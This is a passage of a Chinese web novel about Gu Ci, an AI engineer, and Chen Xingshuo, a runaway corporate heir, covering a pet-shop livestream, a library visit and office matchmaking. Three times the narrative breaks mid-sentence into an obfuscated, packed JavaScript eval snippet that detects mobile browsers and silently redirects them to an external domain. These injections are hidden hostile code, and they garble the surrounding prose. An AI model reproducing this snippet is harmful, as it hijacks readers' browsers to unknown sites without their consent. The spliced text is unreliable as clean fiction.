暖爪屋，一位画着精致妆容的女生坐在镜头前，手里举着一只可爱的哈士奇，对着镜头认真介绍。 “宝子们，这是我们的三火宝宝哦。刚出生三个月，苗苗已打，性格特别活泼，从小就有拆家天赋。求抱走哦~” 目前直播间内有一两百人在线，都是想要买宠物的意向客户。 小姐姐继续介绍：“我们三火宝宝小爪子贼可爱，眼睛特别亮，爸爸妈妈都是纯正的哈士奇，不用担心血统不纯哦~” 直播间内飘过一排弹幕： 【月亮邮递员：哈哈哈家里无聊的可以买一只回去添乱】 【罐罐：可以看一下二哈的背面吗？看看后背上有没有杂毛】 【茄子香：能看看爸爸妈妈是啥样的吗？】 【不加感叹号：我看你家的地址离我这里挺近的，能问一下营业时间吗？我有空去你们店里看看有没有小猫崽】 【无吊所谓：哈尔滨能空运吗？】 …… 顾词正在给一只柯基洗澡，辰星烁站在他身边，帮着拽着柯基的两只后腿，以防小狗动来动去把水弄得到处都是。 两个人都穿着暖爪屋的工作服，肩膀上坐着一个可爱垂耳兔布偶，围裙上印着粉红色的猫爪。 顾词的身高刚刚到辰星烁肩膀，他低着头，细心地帮小柯基清理着爪子缝隙里的脏污。 主播小姐姐举着手机忽然走进清洗室，对着周围的摆设介绍着：“宝子们，这是我们暖爪屋的清洗室哦。如果您家的宝贝们有清洁需求可以来我们店里清洁，我们的工作人员都是非常认真仔细的，价格也很亲民……” 视频里，顾词正在抬头和辰星烁说话，讲解一些基础的清洗注意事项。他的眼神因极度认真而显得格外有神，侧颜勾勒出柔和的轮廓，高高的鼻梁显出优秀的面部立体度。 弹幕像是突然按了加速键，一下多了好多条。 【人不好色how are you吗：主包主包，你也妹说你家小哥哥这么帅啊。早说就没这么多事了，我不矜持了哈】 【嗑CP我是第一：明天就把我家逆子送过去，能要求这位小哥哥帮忙做个皮毛护理嘛】 【困困大王：主包可以让后面的帅哥介绍一下宠物吗？我马上就买……】 …… 似乎是觉察到手机里的视线，辰星烁有些不悦地看了对面一眼。 主播小姐姐还在介绍：“抱歉哈，这位是我们暖爪屋的投资人，不常在店里的。他空闲的时候会来店里帮忙，宝子们如果有需求，我可以将小哥哥的工作时间提前透露给各位哦，各位有时间可以蹲一下……” 主播正想多拍一些顾词的角度，突然，镜头前出现一个高大的身影，霸道地挡住了直播画面—— 8. 第八章 主播小姐姐一脸苦笑，情绪稳定地和观众们解释：“我们公司比较注重毛孩子们的隐私，就不向各位直播狗狗洗澡的场景了哦。宝子们，我们去看一下狗狗们的休息室吧……” 小姐姐将镜头一转，走向房间的另一边。 顾词没有注意到这边的情况，依旧聚精会神地给小狗做全身清洁。柯基宝宝很听话，在他手里很温驯，只是偶尔叫一声，奶呼呼的。 他在掌心泵了一管宠物清洗剂，动作柔和地涂在狗狗身上，小柯基享受地眯起眼睛。 “我们俩今天挺幸运的，遇到一位很乖的顾客。” “你之前遇到的都很难弄吗？” 顾词回忆了一下，似乎想起了不太好的记忆，摇了摇头，“有的狗狗洗澡的时候……很吵……你没见过那场面，堪称杀猪现场。” 柯基叫了一声，似乎在表达认同。 “汪！”我很乖哦。 辰星烁摸了摸柯基的脑袋，柯基的小尾巴兴奋地动了动。 王新突然从身后冒出来：“你们俩在聊什么？” 顾词在水龙头的流水下清洗手上的泡沫，“闲聊。” 王新眼睛雪亮，冲顾词大声喊：“你知道刚才直播间里有多少人了吗？一千人！” 顾词保持着清冷的声线：“说明你请的主播业务能力很强。”顾词说完对着辰星烁道：“它还需要冲掉身上的泡沫，你弄一下，弄完我带它去烘干区。” 辰星烁点点头，一丝不苟地照做。 王新说：“之前都是一两百人，你来了之后突然推了一波流量。” “我吗？”顾词问，“发生了什么？” “就是刚才，好像是你出现在了镜头里，然后我们就爆单了，一下子卖了好几只崽。” 王新冲他比了个心，“你真是我的财神爷。” 顾词：“别贫了，今天陈星给你帮忙，别忘了给他包红包。” “那肯定的啊。“王新看了一眼正在给柯基洗澡的年轻男人，”你别说，我们暖爪屋确实需要这样一个手脚勤快的帮手。我原本就担心他赚的钱能不能还得起你的房租，要是他愿意来这边工作，正好赚了钱给你。羊毛出在羊身上，完美闭环！“ 王新对这个想法很满意，啧啧地称赞起自己：“我真是一个天才。” 顾词脱下身上的工作服：“……你就别想了，他之后大概率要回去读书，不可能长期给你工作的。” 王新瞟了一眼，“他看着像读书的料子吗？” “不要以貌取人，有的人看着爱玩，实际脑子很聪明。“ 王新撇了撇嘴，“才在你家住几天，这就护上犊子了。“ 顾词：“……我没有。” “你就别狡辩了，”王新一把拽过顾词手上的工作服，“我还不知道你吗？你就是个容易日久生情的人。” 顾词抚摸了一下脸颊，讪讪道：“ 我同意最后一句话，其余持怀疑态度。” “护犊子就护犊子，这又没啥丢脸的。” 顾词不想再聊这个话题，转了个方向，“小诗这周没有回来，说是要和同学一起去捡秋。” “捡秋是干什么？”王新成功被新的话题吸引。 “就是收集一堆落叶。” “哦哦。” …… 周日早上，外面下起了小雨，天空灰蒙蒙的。 顾词看着窗外淅淅沥沥的小雨，自言自语：”怎么下雨了……“ 在他身后的辰星烁见他穿上薄外套，问：“你要出门？” 顾词回头望向他，点了点头，“今天打算去市区图书馆。我这周要去还书，今天已经是最后期限了。” 顾词从上学的时候一直保持着读书的习惯，即使是毕业后做了社畜，读书时间大幅度下降，依然保持着一个月至少阅读一本书的习惯。 辰星烁二话不说披上外套，“那我和你一起去。” 顾词笑道：“不用，我自己去就可以，你要是想出门可以去找你的朋友。” “你嫌我粘人了吗？”辰星烁语气中似乎带着嗔怪。 顾词先是一愣，回神后笑道：“没有，是因为我已经习惯了一个人去图书馆。” “但是我想跟你一块儿去。”辰星烁靠近他，语气诚挚。 顾词眉梢一弯：“你执意要去的话，去也可以，不过我害怕你在图书馆睡着了。” “不会的。”辰星烁拍胸脯保证。 “好。” 顾词走到玄关处的柜子前，在里面拿出两把伞，递给辰星烁一把。 他今天穿了一件黑色卫衣和牛仔裤，黑色衣服衬得他肤色更加白皙，左眼眼尾上的丹红小痣为这张疏离清秀的脸增加了几分性感和俏皮。 雨不是很大，空气湿度处于体感相对舒适的范围。 图书馆内，人流量没有因为恶劣天气而变少，依然很难找到一个空位。 顾词在机器前办理了自动还书，在书架上找了几本人工智能相关的书籍，准备找个空位读一会儿，如果觉得内容可以的话就去申请借阅。 辰星烁拿了一本时尚杂志，上面都是时尚模特拍的照片。 两人找到一个还算清幽的角落，视线前方是一面玻璃，可以看到对面街区的风景。 街上行人举着雨伞，在雨中悠然漫步，窗外的梧桐树叶已悄然转为杏黄色，路边堆叠着一层薄薄的枯叶。 顾词将书平摊在桌面，手边放着一杯手作咖啡，骨节分明的手指一页一页翻开书籍，清脆的翻页声在图书馆内汇集成独特的场景音。 辰星烁坐在他身边，原本有些浮躁的心绪仿佛受到某种神奇的魔力，缓慢沉淀成浅蓝色的宁谧。 墙上时钟的时针不知不觉转了两轮，辰星烁罕见地完整看完了一本书。 外面雨声渐大，偶尔出现一声惊雷，撕开天边的乌云。 顾词专注的时候侧颜格外好看，即使打雷了也丝毫不受影响。 辰星烁莫名还挺享受这种感觉，看书的时候偷偷用手臂碰了几次顾词的手臂，对方都没有察觉。 在图书馆安静地消磨了三个小时，两个人准备离开，刚起身，顾词听到身后传来一道女声： “顾词？” 他转身，辰星烁也跟着驻足。 面前是两个怀里抱着书的女生，站在距离二人三米远的位置。其中一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276028|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女生穿着红色毛衣，披着及肩的短发，就是她刚才喊了顾词的名字。 这个女生是顾词的大学同学，两人曾经都是网球协会的会员。 看到顾词回头，穿着红色毛衣的女生笑道：“真的是你，我还以为我看错了呢。” 顾词认出她是他的大学同学：“汪璐安？” “没想到能在这里见到你。”汪璐安粲然一笑，视线落在顾词怀里的书上，“你现在是从事人工智能相关的行业吗？” “对，我在星云上班，你呢？” “我在华力上班，”汪璐安道，“也是从事这个行业。我们班的大多数人都是从事专业相关的工作，有几个回老家了，只有少数几个人还在这个城市。” “我都不怎么和同学联系了，也不太了解他们的近况。” “上次同学聚会你都没有参加，当然不知道老同学的情况。”女生语气中似乎带着一丝责怪。 顾词不好意思地说：“上次确实是时间不凑巧，我去参加妹妹的家长会了。” 顾词的大学同学基本都知道他家里的情况，汪璐安表示理解：“哦哦，原来是这样啊。不过，你没有来，同学们都挺遗憾的。” “下次我一定去。”顾词笑了笑。 “我们都在这个城市，平时没事可以约个饭什么的，或者爬山、散步、露营，也可以……”汪璐安脸上拂过一片红晕。 辰星烁冷不丁问：“你们约饭时可以叫上我吗？” 闻言，两个女生齐齐把目光转移到顾词身边的男人身上。 男人年龄看着小一些，脸上带着青涩却不稚嫩的气质，眉眼锋利，看起来就属于不好惹的那种。 “这是你朋友吗？”汪璐安睁着杏眼，面向顾词，问。 “算是我室友吧。”顾词说。 “哦，抱歉哈，刚才没注意到你。”汪璐安面向辰星烁，一脸歉意，“你想来的话当然可以呀，我们可以一起爬山、露营，人多一些更热闹。” “到时候可以叫上同在这个城市工作的老同学。”顾词说。 双方道别后，汪璐安身边的女孩盯着辰星烁的身影，开口：“你没觉得刚才那个高个子男生很眼熟吗？” 汪璐安回忆了一下，摸着下巴，“有吗？” “我感觉好像在哪本书上看到过。”女生把怀里的书本放在最近的桌子上，在里面翻找了半天，把一本企业期刊杂志摊到汪璐安眼前。她用手指指着杂志里的一张照片，“这个是辰鸿昌，他身后站着的年轻男人是他的儿子——” 照片下面有一小段介绍，女生默读道：“6月15日，星云科技股份有限公司董事辰鸿昌携其独子辰星烁参加第二届人工智能研究大会……” 汪璐安震惊地问：“所以刚才那个男生是星云的唯一继承人。” 另一个女生重重点头：“是的，而且你的大学同学是他的室友。按理说将来辰星烁继承家业后，应该算是顾词的上级。” “这两人怎么成了室友？” 女生伸出右手，食指朝上，其余四指握紧，比了个“赞”的动作，语气幽幽道： “只能说你的这位大学同学，手段了得……” 9. 第九章 顾词正在沙发上玩小游戏，手机上突然弹出一条信息。 【齐梦珂：词，你有最近的日常照吗？】 顾词坐直身体，伸手在桌子上的果盘内拿了一颗冬枣，咬了一口，开始打字。 【顾词：怎么突然要照片？】 【齐梦珂：最近公司和周边的几个大厂有个联谊活动，你一定要参加哦，没准就脱单了呢】 顾词：“……” 公司还挺有责任感，居然会帮员工牵线搭桥。 不过他暂时没有谈恋爱的想法，而且顾词也知道，所谓大厂之间的联谊，去掉表面的那层皮，剩下的也都是权衡利弊。 他不喜欢这种被人比价的感觉，搞得自己像是明码标价的商品。 顾词也很清楚，以他的条件，在相亲市场并不吃香。他有个正在还贷的房子，一辆二手车，一个正在读高中的妹妹，父母因意外去世，没有女生愿意选择这样的他。 【顾词：我就不凑热闹了】 【齐梦珂：不行啊，你必须参加，你都不知道，隔壁华力搞了个颜值PK榜，你可是我们公司的颜值扛把子，必须参加！你不想让我们公司丢脸吧[哭哭.jpg]】 【顾词：……】 【齐梦珂：就算你不想相亲，你只要把照片挂上去，随便写个自我介绍，有女生加你微信你别同意不就行了。求求了求求了，这关系到我们星云的名声啊，你也不想让别的公司觉得咱们星云没帅哥吧】 齐梦珂又软磨硬泡了一会儿，顾词没办法，只能答应。 在公司里最好不要得罪人事和财务，因为不知道啥时候就会遇到需要他们帮忙的情况。 顾词决定就在联谊活动上放一张照片，如果有人加他联系方式，他装没看见就好。 不过，在选照片时，顾词犯了难。 他很少拍照片，除了证件照，基本没有什么照片。 顾词穿上拖鞋，走到客房前，敲了敲门。 “陈星，你现在有空吗？” 辰星烁穿着居家服，打开门，“有空。” “你能帮我拍张生活照吗？”顾词把手机递给对方，“用我的手机拍。” 辰星烁接过手机，“给你拍照应该很容易。” 顾词长相优越，睫毛卷翘，双眼皮，鼻梁高挺，脸型流畅，属于现实中很好看，上镜更好看的那种妈生脸。 顾词想了想，“要不就在露台上随便拍一张好了，背景就是不远处的那座写字楼。” 他走到露台，初秋的晚上夜风微凉，顾词站在露台上，侧身看着不远处的夜景。 身后是一幢气派的写字楼，整体用灯带勾勒出楼层的形状，在黑色的夜幕下，彰显出都市的现代感。 顾词身形笔直挺阔，侧身时灯光照在他半边身子上。 “晚上拍照的话需要开一下闪光灯。”他对辰星烁说。 辰星烁照做，看着手机里的人儿，“看一下镜头。” 顾词一令一动，侧身望了一眼镜头。 顾词随便摆了一个姿势，和白天辰星烁看的时尚杂志里的模特们比起来，完全没有矫揉做作的痕迹。 镜头中，顾词有一种说不清道不明的通透感，像是隔着玻璃看到的珍贵的青瓷器。 辰星烁眼波微动，感觉时间的流速仿佛变慢了，周围安静得能听到心脏的跳动声。 夜色幽眛，顾词眸中似乎藏着星星，在闪光灯的曝光下，永久定格。 辰星烁声音嘶哑：“再拍一张正面的，两只手臂随意搭在玻璃阳台边上，手放在腰上。” 顾词照做，动作放松且自然。 …… 对着顾词拍了十几张照片，辰星烁把手机递给他。 “你看一下拍得咋样。” 顾词一张一张仔细看过，点点头，“可以，拍得很好。” 辰星烁唇角弯起弧度，“那是因为你比较上镜。” 风吹起男人额角的头发，顾词打了个冷噤，“起风了，我们进屋吧。” “嗯。” 走到屋内。 辰星烁问：“你怎么突然想起拍照了？” 顾词声音平寂，“公司和几家大厂组织了一个联谊活动，人事让我提供几张日常生活照片。” 辰星烁眉头拧紧，“联谊？” 他突然产生了一种夺回手机，销毁照片的冲动。 “你怎么突然想谈恋爱了？”辰星烁问他。 “我没有想谈恋爱，人事说需要把我的照片放到联谊活动上参加PK活动，我才同意的。” 而且，顾词现实生活中从没有体会过心动的感觉，他甚至觉得自己根本不会爱上任何人。他也没觉得这种状态会因为参加联谊活动、多见几个人就发生变化。 或许就像王新所说，顾词只适合日久生情，不适合一见钟情。 “那到时候有人加你微信怎么办？”辰星烁追问。 顾词：“我没准备通过任何人的联系方式。” 话是这样说，辰星烁依然不放心，他眉头紧锁，大脑在快速运转…… · 顾词把照片发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276029|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给齐梦珂。 【齐梦珂：牛逼，你这颜值完全可以进娱乐圈了】 【顾词：我先说好，我不参加线下联谊活动，你需要拿我的照片凑数就用一下】 【齐梦珂：行行行，你说啥就是啥吧】 他关上手机，准备睡觉——明天又要开始搬砖了。 而在顾词隔壁的房间内，有一个人正在抓耳挠腮，完全没有想睡觉的意思。 辰星烁盘腿坐在床上，嘴唇抿成一条直线。 突然，他想起小叔在公司里担任的职位是人事行政主管。 辰星烁在微信联系人列表搜索，找到到许久没有联系的叔叔的联系方式。 最后的聊天记录停留在一周前，辰鸿盛问他去哪里了，辰星烁说出去散散心，两人就没有再联系了。 辰星烁想了想，既然是人事让顾词传的照片，是不是就意味着最后的选择权在辰鸿盛身上。 也许，辰鸿盛可以帮他删掉顾词的联谊信息。 辰星烁认真思索了半晌，在手机上快速打字…… · “嘟嘟。”辰鸿盛的手机突然亮了一下。 他看了一眼，没想到居然是辰星烁的信息。 【辰星烁：小叔，你最近有空吗？】 辰鸿盛看到消息，模仿着短视频里的人物的语气道：“你想到我了？你想到我了？晚啦！” 孙蕊看见丈夫的反应，问：“谁想到你了？” 她低头看辰鸿盛的手机，“原来是小烁，他还没回家呢嘛。” “估计是在外面没钱了，想起我这个叔叔来了。”辰鸿盛吐槽，“这孩子从小就不让人省心，幸亏咱俩没生孩子，要是也生出个离家出走的小兔崽子，那可就完蛋了。” 孙蕊笑道：“你赶紧问问他找你有啥事吧，看看能不能套一下他的话，问一下他现在人在哪里。” “先别，这小兔崽子之前每次都是轮回我的消息，我俩的每一条聊天记录中间都显示着日期。我等会儿再回他。” 孙蕊忍不住笑：“那么大个人了，怎么这么孩子气。” 正说着，手机又嘟嘟响了一声。 【辰星烁：叔叔，我想你了，我能去你家玩一天嘛】 看到信息，辰鸿盛没绷住，指着手机向妻子炫耀，眼睛笑成一条线： “看到没？侄子说想我了，这孩子嘴巴跟抹了蜜似的。” “他要来家里做客，我得赶紧让厨房安排一下，做点儿小烁喜欢吃的。” “嗯，快安排去吧，别怠慢了我侄儿。” 10. 第十章 对于打工人来说，如果问周一到周日哪一天最痛苦，那无疑是周一。 尤其是当周一需要汇报项目进度的时候，这种感觉犹甚。 周一例会结束后，顾词和几位同事从会议室走出，脸上都带着淡淡的死感。 顾词回到工位，打开电脑，开始罗列今天的工作日程。 斜对面的李琦春一到工位，就开始吨吨吨朝胃里灌了一大杯冰美式，仿佛再晚一秒就电量告急。 喝完，摸了摸嘴上的咖啡渍，道：“刚才我都要睡着了，太困了！” 沈盏作为资深社畜，早就对周一的攻击力免疫，此刻带着非人哉的语气，笑道：“习惯了就好，你要是炒股的话，会对工作日会少一点儿憎恨。” 顾词看了一眼四周，黎远不在，要不然大家也不会这么口无遮拦。 平时话很多的赵海刚才在会议上被上司训了一通，此刻像蔫了的茄子闷声不响。 李琦春突然降低声音：“我这边听到个小道消息，听说辰董的儿子离家出走一周了……” 八卦堪称打工人最好的兴奋剂，沈盏停下了手里的动作，就连顾词也竖起耳朵。 沈盏：“我也听说了，说是闹得挺大的，辰董直接动手了。” 不知道是咖啡起了作用还是八卦之魂在燃烧，李琦春眼睛都是亮的，“那可是未来星云的接班人啊，我特别想知道是因为啥吵起来的。你们说有没有可能辰董想让儿子和隔壁华力的嫡女联姻，但实际上少爷有个上不得台面的女朋友不满意父母的安排，所以就离家出走了呀？” 沈盏笑道：“春春，你是不是又把短剧app下载回来了？” 四周爆发出一阵低笑，李琦春不好意思地揉了揉脸颊：“沈工还真是厉害，这都被你猜中了。” 顾词想起家里的那位，“现在的年轻小孩好像都挺叛逆的，动不动就爱离家出走。” 沈盏道：“确实，像以前我们哪敢离家出走啊，都是棍棒教育，敢离家出走第二天就不用回来了。” 顾词想想，自己小时候也没有发生过离家出走的事情，因为家里就他和顾诗两个人，他在哪家就在哪。 “对了顾工，你之前有见到过星云的少爷吗？” 顾词摇摇头：“没有。” “没见过很正常，顾词来公司的时间比较短。”沈盏说。 李琦春说：“之前少爷来参加过公司的年会，跟辰董一起来的。不得不说，少爷的基因是真的优越，又高又帅，一点儿也不比明星差。” “你也不想想他是谁的孩子，他妈妈是清北大学生、国际选美冠军，生出来的小孩再丑能丑哪里去？”沈盏一边敲键盘一边说。 顾词被勾起兴趣，脑海中幻化出一个高智商帅哥的模样。 “那倒也是，”李琦春说，“现在有人传言说，辰董想把自己的儿子送到国外念书，也不知道真的假的。” 沈盏：“有钱人都喜欢把小孩送到国外上学，然后回来继承家业。隔壁华力也是这样，一儿一女全都送国外了。” 几个人闲聊着，突然，李琦春朝沈盏使了个眼色，挤吧着眼睛。 顾词的眼角余光瞥到一个个子很高的男人，男人腿很长，走路的时候掀过一阵风。 赵海正在用手机跟女朋友吐槽早会的事情，突然面前落下一道阴影，一道目光有如实质地穿透过他的身体。 他本能地感觉头皮一阵发麻…… 黎远用手背扣了扣赵海的桌面，“笃笃”的声响令人毛骨悚然。 李琦春不敢看这个场景，低着头谨慎地工作。 赵海咽了咽唾沫，收起手机，打开尚未启动的电脑。 今天的电脑开机好像格外慢，第一秒都走得很慢。 黎远看向顾词，说：“词，来一下我办公室。” · 顾词站在一扇磨面玻璃门前，轻扣两下，玻璃门传来清脆的声响。 门内传来男人带着磁性的声音：“请进。” 顾词推开门，黎远正站在窗台前，刚结束一通电话。 “黎总。”顾词走到黎远身后。 男人穿着一身挺阔的棕色西装，将手机扣在梨木桌子上。 黎远走到沙发旁，示意顾词也坐下。 “我找你是有一件事，下周我要去见客户，想让你陪我一起去，你有时间吗？” “有的。”其实没有也得说有。 “你最近表现不错，手里的项目完成度很高。”黎远看着顾词，坐在沙发上，双手交叠在一起，“早会的时候当着大家的面我没有说，但在我心里，我很清楚你做得远远比赵海强。” 听到leader的夸奖，没有人会不开心，顾词心里也很开心，但面上不显。 “谢谢黎总夸奖。” 黎远放下手，双腿交换了一个姿势，“下周要见的客户是创奇，我们要去一趟申市，需要提前订一下机票。你今天把我和你的机票一并定好，等会儿我会把我的身份证信息发给你。” “嗯，好的。” 从黎远的办公室离开后，屁股还没沾到椅子上，李琦春一脸好奇地问顾词：“黎总找你什么事情啊？” “黎总说过几天要出差，需要我一并跟着出去一趟。” 赵海一听，问：“出差？为什么带你去？” 李琦春道：“这谁知道呀，领导的心思我们还是别瞎猜了。” 赵海眉间染上阴翳，表情明显不太好看。 李琦春转头问顾词：“词，上周齐梦珂有没有问你要照片？” “问了。” “你应该给了吧？” “嗯，她说要拿去参加颜值PK比赛。” “哈哈哈我估计得有好多女生加你微信，听说这周三下午开放联谊大会，那天估计你的手机会爆炸吧……” 顾词不置可否。 “其实我很奇怪，你为什么会没有恋人呢？你看着不像是谈不了恋爱的类型。”李琦春说，“咱们公司我就没见到过比你帅的男孩子，你是不是太挑了？” 顾词笑了笑，觉得李琦春真的冤枉他了。他没有解释，淡淡道：“可能我确实和别人不太一样……” · “星辰，这几天你跑哪里去了？你不知道你爸妈有多担心你吗？” 辰鸿盛一边数落着辰星烁，一边把厨房里做的美食摆到辰星烁面前。 辰星烁一点儿不客气，上手从盘子里捏了一块糕点，“我没事，你就和我爸妈说我在朋友家里住着就行。” 坐在沙发上的孙蕊微微前倾，“小烁，你这样会让你的爸爸妈妈伤心的。” 辰鸿盛拍了拍辰星烁的后背，“你也不是小孩子了，也要学会分担一下家里的责任。” “我知道。”辰星烁有些抗拒地说，这个话题最近被频繁提起，导致他有些逆反。 孙蕊关切地说：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276030|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你妈妈前两天还在和我打电话，说不知道你一个人在外面能不能吃饱饭。你这次离家出走也没带钱，你要是缺钱就和我们说。”。 “我不缺钱。” “那你有地方住吗？”辰鸿盛问。 “有。” “你可要好好感谢你的朋友啊，谁也不会白白给你提供房子住的。”辰鸿盛说。 这句话提醒了辰星烁来这里的目的，辰星烁抬起脸，问辰鸿盛：“叔叔，公司里最近是不是在组织什么联谊活动？” 辰鸿盛一听，脸上浮起笑意：“你怎么想起问公司里的事情了？” 辰星烁摸了摸后颈，“没什么，你们不是一直说想让我以后去基层历练历练吗？我听说最近公司里在搞联谊活动，想问一下干嘛费这个人力物力财力搞这种事情。” “这你就不懂了吧，这里面有更深的含义，你确实还得学习。”辰鸿盛坐直身体，准备好好给辰星烁讲讲其中的道理，“现在的小年轻有一部分都不想结婚了，这不利于企业稳定，你知道是为什么吗？” 辰星烁不明所以：“为什么？” “因为不结婚他们就不会买房买车，没有了消费欲望，工作中就失去了稳定性。” “所以，你们组织联谊，就是为了给员工套上枷锁，然后兢兢业业为企业打工？” “很聪明，一点就通。”辰鸿盛喝了一口热茶，“我这也是为了降低员工离职率。” “你这里有参加联谊的员工名单吗？”辰星烁问。 “有啊，我手机里就能看。”辰鸿盛极其配合地打开手机，递给辰星烁。 辰星烁拿到辰鸿盛的手机，看到页面上有一个文档。 他点开文档，在里面搜索了一下“顾词”的名字。 果然，里面跳出顾词的个人信息，辰星烁没有犹豫，以迅雷不及掩耳之势删掉了这行信息，然后点了保存。 辰鸿盛连名字都没看到，想挽救已经来不及。 “你刚才是不是删掉了什么东西？” 辰星烁笑了笑：“有吗？可能刚才误触了……” 辰鸿盛：“……”他咋不太相信呢。 他夺过手机，语气夸张：“你有可能删掉了某个人的幸福，你知道吗？” 辰星烁耸了耸肩，“也许捍卫了另一个人的幸福呢。” 辰鸿盛：“……” 辰星烁完成了任务，站起身，“叔叔，谢谢你的款待，我得回去了。” 辰鸿盛看了一眼时间，“回去这么早干什么？你有什么急事吗？” “有啊，等会儿就到下班的时间了。” 辰鸿盛更不理解了，一边眉毛高一边眉毛低，“你又不上班，下班不下班和你也没有什么关系吧？” 辰星烁没有解释，边朝门口的方向走边对着身后的辰鸿盛和孙蕊两人挥手，“家里有个上班的，该回去做晚饭去了。” 辰鸿盛一听，直接愣在原地。 “你小子啥时候学会做饭了？以前都衣来伸手饭来张口的，你还会做饭？” 辰星烁语气中藏着无法掩饰的炫耀，“以后有机会给你和婶婶展示一下我的厨艺。我做饭还行，有人说我做的好吃呢。” 辰鸿盛：“可以啊，有出息了。” “到时候我爸妈问起来，你就说我在外面过得挺好的，淋不着雨，也没饿着。” 辰鸿盛不住点头，“那就好，我和你爸妈就放心了。” 11. 第十一章 顾词站在门口，刚打开门就闻到一股饭香。 别说，上了一天班，现在他还真是饿了。 自从顾词捡到这个男人，他就没怎么下过厨，要么在公司里吃，要么回到家时就已经有人把饭菜做好了。 走到客厅，一眼看到桌子上满满当当的饭菜，红红绿绿，全是家常菜。 顾词第一反应是桌子上的食材花钱买的话，肯定也是一笔不小的开销。 A市的物价一直很高，属于典型的高收入高消费城市。 顾词知道陈星的工资不高，有些他心疼花了这么多钱。但顾词没有在这个时候说出来，怕扫了辛辛苦苦做饭的人的兴致。 辰星烁看到顾词回来了，问：“你什么时候回来的？巧了，我刚做好饭。” “我刚到，你今天下班很早吗？” “对，今天我很早就把活干完了，所以比平时早了一小时下班。我看到超市做活动，蔬菜有打折，就多买了一些。” 辰星烁怕顾词怀疑他工资高不让他住在这里了，又道：“我能用这一桌子饭菜抵消一部分房租吗？” 顾词笑道：“当然可以，我本来也没准备收你的房租。” 他拉开椅子坐下去，“辛苦你搞这么多饭菜了。” 男人把最后一道丝瓜鸡蛋汤端到桌子上，解掉身上的围裙，“这些都是我第一次做的，不知道合不合你的口味。” 顾词夹了一块糖醋排骨，放进口中，酸酸甜甜的口感瞬间在口腔内爆开。 他点点头，赞赏地说：“很好吃，看样子你在做饭上有一定天赋。” 顾词做饭都不一定能做到色香味俱全，只能勉勉强强满足其一，但辰星烁一次就成功了，不得不说确实很厉害。 他想起白天黎远和他说的出差的事情，觉得有必要和室友说一声。 “我下周一需要去申市出一趟差，要在那边待个一两天。到时候你不用管我了，做你自己的饭就行。” “出差？你一个人吗？”男人停下筷子，问。 “不是，是和上级一起去见客户。” “上级？”男人拧了拧眉，“你的上级是谁？” “黎远，不过你应该不认识。” 男人眉心拧得更深了，“你去申市哪里？是几点的飞机？” 顾词想了想：“我到申市的时候已经是下午三点了，会在申市A区的雅丽酒店参加一个晚宴。” “在酒店一定要注意安全。” 顾词见他语气格外认真，控制不住地笑了笑，“我不是小孩，能照顾好自己。” 辰星烁却像是没听到，继续说：“听说有的酒店会藏有针孔摄像头，有些人会在宴会的酒水里放乱七八糟的的东西，多个心眼总是必要的。” “嗯，我会注意的。” 顾词有种很陌生的感觉，以前都是他在扮演照顾别人的角色，此刻被人关心，内心流过一股温热的暖流。 原来被人照顾是这种感觉。 吃完饭，顾词感觉好久没有吃这么饱了，一向平坦的肚子罕见地有了起伏。 “我来洗碗吧，就当消食了。” 辰星烁没有拒绝，坐在顾词身后看他在厨房忙碌。 顾词将上衣袖口挽了几折，打开水龙头，开始洗碗。他身材很好，属于腰细，腿又长又直的那种，动作的时候手臂上的肌肉滑动，看起来极具有美感。 他没有注意到身后男人逐渐热烈的目光，兀自忙碌着。洗完后，顾词抽了两张纸，认真地擦拭指节上的水，干净利落地将纸巾团成一团，丢进垃圾桶。 辰星烁远远看着，他视力极好，能看到顾词的指腹因在水中浸泡而出现的褶皱，以及那些蜿蜒的痕迹呈现出的粉嫩的颜色。 顾词摘掉身上的黑色围裙，只听对面一直没有吭声的男人冷不丁问：“你出差的时候可以和我保持联系吗？我一个人在家很无聊，你要是能陪我聊聊天，我会很开心。” 顾词笑道：“你想找我聊天就给我发讯息，我只要时间空余，就一定会回你信息的。” “嗯。” “你最近有和你父母沟通一下吗，？毕竟出来这么长时间了，最好还是和他们说一下你的近况，省得他们担心。” 辰星烁点点头，“我已经托亲戚给他们传过话了。” 顾词将围裙挂起来，道：“那就好，赶紧睡觉吧，明天还要上班。” 男人似乎有不太愉快的心情需要发泄，闷声道：“你先去睡吧，我等会儿要运动一会儿。” 在一起住了一个多星期，顾词知道他有健身的习惯，点点头，“嗯，那我先睡觉了，晚安。” “晚安。” …… 飞机上，顾词闭上眼睛休憩，舷窗外是雪白的云层。 飞机匀速飞行，偶尔因为气流颠簸小幅度晃动。一旁的黎远正对着电脑查看工作报表，丝毫没有受到影响。 